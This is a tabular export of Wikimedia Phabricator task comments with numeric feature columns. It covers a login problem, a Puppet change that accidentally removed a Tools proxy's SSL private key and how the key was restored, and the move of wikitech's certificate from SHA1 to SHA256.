In the top level menu of Graphite there's a ""Login"" button. My wikitech credentials do not work there. I'm unsure if that's supposed to work? If only the HTTP auth is relevant this ticket can be closed. ",,,1428480029,,PHID-USER-abszjqutasfjxgagymds,False,,,PHID-TASK-q2tfqsovehwduwxlaitq,task_subcomment,,True,c3,1,True,,,-13,True,0.0,0.0,0.0,2.0,1.0,6.0,1.0,0.0,0.0,2.0,2.0,2.0,0.0,1.0,1.0,7.0,0.0,7.0,12.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,12.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,17.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,12.0,10.0,1.0,2.0,0.0,7.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.8795180722891565,0.7590361445783133,"My login to Icinga is working fine, this was caused by the umlaut in my original user name (URL

When I log into graphite.wikimedia.org I'm can successfully authenticate at HTTP auth. 

In the top level menu of Graphite there's a ""Login"" button. My wikitech credentials do not work there. I'm unsure if that's supposed to work? If only the HTTP auth is relevant this ticket can be closed. "
437557,failed icinga/graphite login for Moritz,"Change 201251 merged by Dzahn:
icinga: give Moritz permissions to run commands

[[https://gerrit.wikimedia.org/r/201251]]",,,1428007399,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-q2tfqsovehwduwxlaitq,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.0,0.8571428571428571,"Change 201251 merged by Dzahn:
icinga: give Moritz permissions to run commands

[[GERRIT_URL]]"
436778,failed icinga/graphite login for Moritz,"Change 201251 had a related patch set uploaded (by Dzahn):
icinga: give jmm permission to run commands

[[https://gerrit.wikimedia.org/r/201251]]
",,,1427916297,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-q2tfqsovehwduwxlaitq,task_subcomment,,True,c3,1,False,,,-14,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.7142857142857144,0.8928571428571429,"Change 201251 had a related patch set uploaded (by Dzahn):
icinga: give jmm permission to run commands

[[GERRIT_URL]]
"
436767,failed icinga/graphite login for Moritz,"In case he needs to be renamed:

Would https://wikitech.wikimedia.org/wiki/Renaming_users still be current ? argg?",,,1427915544,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-q2tfqsovehwduwxlaitq,task_subcomment,,True,c3,1,True,,,-14,True,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,12.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.235294117647059,0.8823529411764706,"In case he needs to be renamed:

Would URL still be current ? argg?"
93212,Private SSL key got removed on tools-webproxy-01/tools-webproxy-02 and maybe other Labs instances as well,"In the Tools project, the private key for the SSL certificate was stored in `/etc/ssl/private/star.wmflabs.org.key`.

@faidon's https://gerrit.wikimedia.org/r/#/c/197337/ removed the key file:

```
Mar 18 01:40:09 tools-webproxy-02 puppet-agent[9237]: Sleeping for 16 seconds (splay is enabled)
Mar 18 01:40:25 tools-webproxy-02 puppet-agent[9237]: Retrieving plugin
Mar 18 01:40:29 tools-webproxy-02 puppet-agent[9237]: Loading facts in /var/lib/puppet/lib/facter/root_home.rb
Mar 18 01:40:29 tools-webproxy-02 puppet-agent[9237]: Loading facts in /var/lib/puppet/lib/facter/physicalcorecount.rb
Mar 18 01:40:29 tools-webproxy-02 puppet-agent[9237]: Loading facts in /var/lib/puppet/lib/facter/puppet_vardir.rb
Mar 18 01:40:29 tools-webproxy-02 puppet-agent[9237]: Loading facts in /var/lib/puppet/lib/facter/initsystem.rb
Mar 18 01:40:29 tools-webproxy-02 puppet-agent[9237]: Loading facts in /var/lib/puppet/lib/facter/apt.rb
Mar 18 01:40:29 tools-webproxy-02 puppet-agent[9237]: Loading facts in /var/lib/puppet/lib/facter/puppet_config_dir.rb
Mar 18 01:40:29 tools-webproxy-02 puppet-agent[9237]: Loading facts in /var/lib/puppet/lib/facter/lldp.rb
Mar 18 01:40:29 tools-webproxy-02 puppet-agent[9237]: Loading facts in /var/lib/puppet/lib/facter/ec2id.rb
Mar 18 01:40:29 tools-webproxy-02 puppet-agent[9237]: Loading facts in /var/lib/puppet/lib/facter/pe_version.rb
Mar 18 01:40:35 tools-webproxy-02 puppet-agent[9237]: Caching catalog for i-000008b8.eqiad.wmflabs
Mar 18 01:40:36 tools-webproxy-02 puppet-agent[9237]: Applying configuration version '1426642569'
Mar 18 01:40:39 tools-webproxy-02 puppet-agent[9237]: instanceproject: tools
Mar 18 01:40:39 tools-webproxy-02 puppet-agent[9237]: (/Stage[main]/Role::Labs::Instance/Notify[instanceproject: tools]/message) defined 'message' as 'instanceproject: tools'
Mar 18 01:40:42 tools-webproxy-02 puppet-agent[9237]: hostname: tools-webproxy-02
Mar 18 01:40:42 tools-webproxy-02 puppet-agent[9237]: (/Stage[main]/Role::Labs::Instance/Notify[hostname: tools-webproxy-02]/message) defined 'message' as 'hostname: tools-webproxy-02'
Mar 18 01:40:53 tools-webproxy-02 puppet-agent[9237]: (/Stage[main]/Toollabs::Proxy/Install_certificate[star.wmflabs.org]/Sslcert::Certificate[star.wmflabs.org]/File[/etc/ssl/private/star.wmflabs.org.key]) Filebucketed /etc/ssl/private/star.wmflabs.org.key to puppet with sum 5e8a34bb0d41cedc7a8cce93e6af777e
Mar 18 01:40:53 tools-webproxy-02 puppet-agent[9237]: (/Stage[main]/Toollabs::Proxy/Install_certificate[star.wmflabs.org]/Sslcert::Certificate[star.wmflabs.org]/File[/etc/ssl/private/star.wmflabs.org.key]/ensure) removed
Mar 18 01:40:53 tools-webproxy-02 puppet-agent[9237]: (/Stage[main]/Toollabs::Proxy/Install_certificate[star.wmflabs.org]/Sslcert::Certificate[star.wmflabs.org]/File[/etc/ssl/localcerts/star.wmflabs.org.crt]/group) group changed 'ssl-cert' to 'root'
Mar 18 01:40:54 tools-webproxy-02 puppet-agent[9237]: Finished catalog run in 18.07 seconds
```

In outfactoring, `manifests/certs.pp`'s `ensure => present` became `modules/sslcert/manifests/certificate.pp`'s `ensure => absent` when `$privatekey` is `false`.

The key files are preserved by Puppet in the filebucket, but at the moment noone should reboot the proxies :-).

Looking at `operations/puppet` (there may be additional private puppetmasters), this affects `manifests/role/labsproxy.pp`, `manifests/role/protoproxy.pp`, `modules/toollabs/manifests/proxy.pp` and `modules/toollabs/manifests/static.pp`.",Medium,50.0,1426780755,1427349691.0,PHID-USER-vk6mlmacfhx77egryy5i,False,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-TASK-nla5hv4o2ejzc6f25kyx,task_description,resolved,True,c3,1,True,False,True,-15,True,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,10.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.926470588235294,0.6029411764705882,"In the Tools project, the private key for the SSL certificate was stored in CODE.
SCREEN_NAME's URL removed the key file:

``CODE`CODEmanifests/certs.ppCODEensure => presentCODEmodules/sslcert/manifests/certificate.ppCODEensure => absentCODE$privatekeyCODEfalseCODEoperations/puppetCODEmanifests/role/labsproxy.ppCODEmanifests/role/protoproxy.ppCODEmodules/toollabs/manifests/proxy.ppCODEmodules/toollabs/manifests/static.pp`."
433084,Private SSL key got removed on tools-webproxy-01/tools-webproxy-02 and maybe other Labs instances as well,"Done for dynamicproxy-gateway. It shouldn't leave those machines, tho.",,,1427349691,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-nla5hv4o2ejzc6f25kyx,task_subcomment,,True,c3,1,True,,,-14,True,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.133333333333334,0.9333333333333333,"Done for dynamicproxy-gateway. It shouldn't leave those machines, tho."
430293,Private SSL key got removed on tools-webproxy-01/tools-webproxy-02 and maybe other Labs instances as well,"Done on tools-webproxy-01, -02 and -static. Need to do dynamicproxy-gateway. ",,,1426919647,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-nla5hv4o2ejzc6f25kyx,task_subcomment,,True,c3,1,True,,,-15,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9411764705882355,0.8823529411764706,"Done on tools-webproxy-01, -02 and -static. Need to do dynamicproxy-gateway. "
429769,Private SSL key got removed on tools-webproxy-01/tools-webproxy-02 and maybe other Labs instances as well,"I was looking at:

```
[tim@passepartout ~/src/operations/puppet]$ git grep privatekey
manifests/certs.pp:    $privatekey=true,
manifests/certs.pp:    if ( $privatekey == true ) {
manifests/role/labsproxy.pp:        privatekey => false
manifests/role/protoproxy.pp:        privatekey => false,
modules/toollabs/manifests/proxy.pp:        privatekey => false
modules/toollabs/manifests/static.pp:            privatekey => false,
[tim@passepartout ~/src/operations/puppet]$
```

`manifests/role/protoproxy.pp` says:

```
# The beta cluster also supports HTTPS though in a slightly different setup
# since labs is lacking LVS support.  Instead the requests on port 443 are
# handled on each of the caches which have a local nginx proxy terminating
# the SSL connection and reinject the request on the instance IP address.
```

and the role `role::protoproxy::ssl::beta::common` indeed has:

```
    install_certificate { 'star.wmflabs.org':
        privatekey => false,
    }
```

I don't know if and where this role is applied.

`tools-static` uses the key for https://tools-static.wmflabs.org/.",,,1426860446,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-nla5hv4o2ejzc6f25kyx,task_subcomment,,True,c3,1,True,,,-15,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,0.8571428571428571,"I was looking at:

``CODE`CODEmanifests/role/protoproxy.ppCODE`CODE`CODErole::protoproxy::ssl::beta::commonCODE`CODE`CODEtools-static` uses the key for URL"
429658,Private SSL key got removed on tools-webproxy-01/tools-webproxy-02 and maybe other Labs instances as well,"Beta has no star.wmflabs.org key, and no other labs instance should have that key either.

This needs to go on tools-webproxy-01, tools-webproxy-02 and dynamicproxy-gateway. I'll deal with it later tonight if @Coren hasn't gotten to it by then :)",,,1426841026,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-nla5hv4o2ejzc6f25kyx,task_subcomment,,True,c3,1,True,,,-15,True,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,8.0,10.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,8.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,10.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.196078431372549,0.7843137254901961,"Beta has no star.wmflabs.org key, and no other labs instance should have that key either.

This needs to go on tools-webproxy-01, tools-webproxy-02 and dynamicproxy-gateway. I'll deal with it later tonight ifSCREEN_NAME hasn't gotten to it by then :)"
429236,Private SSL key got removed on tools-webproxy-01/tools-webproxy-02 and maybe other Labs instances as well,"I think I was too optimistic about the filebucket:

```
scfc@tools-webproxy-01:~$ sudo puppet filebucket restore /etc/ssl/private/star.wmflabs.org.key 5e8a34bb0d41cedc7a8cce93e6af777e
Error: Could not run: getaddrinfo: Name or service not known
scfc@tools-webproxy-01:~$
```

Rather than trying to figure that out, @coren, @yuvipanda, could you please install `star.wmflabs.org.key` from the private repository to:

- `tools-static`,
- `tools-webproxy-01`, and
- `tools-webproxy-02`?

Also, the key needs to be installed on the Labs proxy and the Beta cluster.",,,1426784067,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-nla5hv4o2ejzc6f25kyx,task_subcomment,,True,c3,1,True,,,-15,True,0.0,0.0,0.0,2.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,8.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,5.0,15.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,0.0,5.0,8.0,2.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.95,0.775,"I think I was too optimistic about the filebucket:

``CODE`CODEstar.wmflabs.org.keyCODEtools-staticCODEtools-webproxy-01CODEtools-webproxy-02`?

Also, the key needs to be installed on the Labs proxy and the Beta cluster."
429219,Private SSL key got removed on tools-webproxy-01/tools-webproxy-02 and maybe other Labs instances as well,"Change 197932 merged by BBlack:
sslcert: Don't delete manually managed private keys

[[https://gerrit.wikimedia.org/r/197932]]",,,1426782548,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nla5hv4o2ejzc6f25kyx,task_subcomment,,True,c3,1,False,,,-15,True,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.045454545454546,0.8636363636363636,"Change 197932 merged by BBlack:
sslcert: Don't delete manually managed private keys

[[GERRIT_URL]]"
429203,Private SSL key got removed on tools-webproxy-01/tools-webproxy-02 and maybe other Labs instances as well,"Change 197932 had a related patch set uploaded (by Tim Landscheidt):
sslcert: Don't delete manually managed private keys

[[https://gerrit.wikimedia.org/r/197932]]
",,,1426781834,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nla5hv4o2ejzc6f25kyx,task_subcomment,,True,c3,1,False,,,-15,True,0.0,0.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.033333333333333,0.9,"Change 197932 had a related patch set uploaded (by Tim Landscheidt):
sslcert: Don't delete manually managed private keys

[[GERRIT_URL]]
"
92709,"wikitech.wikimedia.org SSL certificate considered ""outdated security"" in Chrome","> The site is using outdated security settings that may prevent future versions of Chrome from being able to safely access it.

{F90708}",Medium,50.0,1426298823,1433961334.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-TASK-xysvvszu4latgqhd66mp,task_description,resolved,True,c3,1,True,False,True,-16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,"QUOTE

{F90708}"
472394,"wikitech.wikimedia.org SSL certificate considered ""outdated security"" in Chrome",sha1 revoked,,,1433961334,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-xysvvszu4latgqhd66mp,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,1.0,sha1 revoked
469228,"wikitech.wikimedia.org SSL certificate considered ""outdated security"" in Chrome","re-assigned to RobH 

>>! In T92709#1321521, @RobH wrote:
> once the above patchset is merged live and wikitech is using the sha256, please assign this task to me for the revocation of the sha1 certificate.  (The sha1 cert will be overwritten on the hosts).

done.  you can revoke the old one now.",,,1433444181,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-xysvvszu4latgqhd66mp,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,10.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.8571428571428571,"re-assigned to RobH 

QUOTE
QUOTE

done.  you can revoke the old one now."
469225,"wikitech.wikimedia.org SSL certificate considered ""outdated security"" in Chrome","amended to the change (we had another leading whitespace that would break it, fixed that), 
ran puppet on wikitech and let it recreate cert and chained file.

Signature algorithm is now 	SHA256withRSA

grade A on https://www.ssllabs.com/ssltest/analyze.html?d=wikitech.wikimedia.org

the warnings in Chrome should be gone too",,,1433444016,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-xysvvszu4latgqhd66mp,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,7.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,22.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,4.0,9.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,6.0,7.0,4.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.055555555555555,0.8518518518518519,"amended to the change (we had another leading whitespace that would break it, fixed that), 
ran puppet on wikitech and let it recreate cert and chained file.

Signature algorithm is now 	SHA256withRSA

grade A on URL

the warnings in Chrome should be gone too"
469223,"wikitech.wikimedia.org SSL certificate considered ""outdated security"" in Chrome","Change 214666 merged by Dzahn:
certs: wikitech.wm.org certificate SHA1 to SHA2

[[https://gerrit.wikimedia.org/r/214666]]",,,1433443593,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xysvvszu4latgqhd66mp,task_subcomment,,True,c3,1,False,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.25,0.85,"Change 214666 merged by Dzahn:
certs: wikitech.wm.org certificate SHA1 to SHA2

[[GERRIT_URL]]"
465899,"wikitech.wikimedia.org SSL certificate considered ""outdated security"" in Chrome","once the above patchset is merged live and wikitech is using the sha256, please assign this task to me for the revocation of the sha1 certificate.  (The sha1 cert will be overwritten on the hosts).",,,1432924699,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-xysvvszu4latgqhd66mp,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,7.0,2.0,2.0,2.0,17.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,2.0,12.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,3.975609756097561,0.8292682926829268,"once the above patchset is merged live and wikitech is using the sha256, please assign this task to me for the revocation of the sha1 certificate.  (The sha1 cert will be overwritten on the hosts)."
465898,"wikitech.wikimedia.org SSL certificate considered ""outdated security"" in Chrome","Change 214666 had a related patch set uploaded (by RobH):
wikitech.wikimeida.org certificate sha1 to sha256

[[https://gerrit.wikimedia.org/r/214666]]
",,,1432924657,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xysvvszu4latgqhd66mp,task_subcomment,,True,c3,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.44,0.88,"Change 214666 had a related patch set uploaded (by RobH):
wikitech.wikimeida.org certificate sha1 to sha256

[[GERRIT_URL]]
"
432173,"wikitech.wikimedia.org SSL certificate considered ""outdated security"" in Chrome",">>! In T92709#1118731, @Dzahn wrote:
> this should be T73156 (SHA1 needs to be replaced with a SHA256 cert)
> ..
> Chrome 41 will warn users if SHA1 certificates are used and expire after January 1, 2016.

